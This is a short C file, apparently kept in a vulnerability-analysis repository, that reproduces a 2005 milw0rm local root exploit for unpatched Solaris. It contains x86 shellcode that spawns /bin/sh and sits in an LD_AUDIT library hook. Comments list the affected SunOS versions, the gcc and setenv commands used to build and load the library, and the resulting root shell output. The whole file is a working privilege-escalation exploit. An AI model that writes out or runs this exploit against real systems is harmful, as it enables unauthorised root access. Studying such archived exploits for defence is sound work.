lilbool/vuln-code-analysis

1/*

2- SunOS 5.10 Generic i86pc i386 i86pc

3- SunOS 5.9 Generic_112233-12 sun4u

4

5It does NOT work on:

6

7SunOS 5.8 Generic_117350-02 sun4u sparc

8

9Example on unpatched Solaris 10 (AMD64):

10

11atari:venglin:~> cat dupa.c

12*/

13

14static char sh[] =

15"\x31\xc0\xeb\x09\x5a\x89\x42\x01\x88\x42\x06\xeb\x0d\xe8\xf2\xff\xff\xff\x9a\x01\x01\x01\x01\x07\x01\xc3\x50\xb0\x17\xe8\xf0\xff\xff\xff\x31\xc0\x68\x2f\x73\x68\x5f\x68\x2f\x62\x69\x6e\x88\x44\x24\x07\x89\xe3\x50\x53\x8d\x0c\x24\x8d\x54\x24\x04\x52\x51\x53\xb0\x0b\xe8\xcb\xff\xff\xff";

16

17int la_version() {

18       void (*f)();

19       f = (void*)sh;

20       f();

21       return 3;

22}

23

24/*

25atari:venglin:~> gcc -fPIC -shared -o /tmp/dupa.so dupa.c

26atari:venglin:~> setenv LD_AUDIT /tmp/dupa.so

27atari:venglin:~> su

28

29# id

30uid=0(root) gid=10(staff)

31*/

32

33// milw0rm.com [2005-06-28]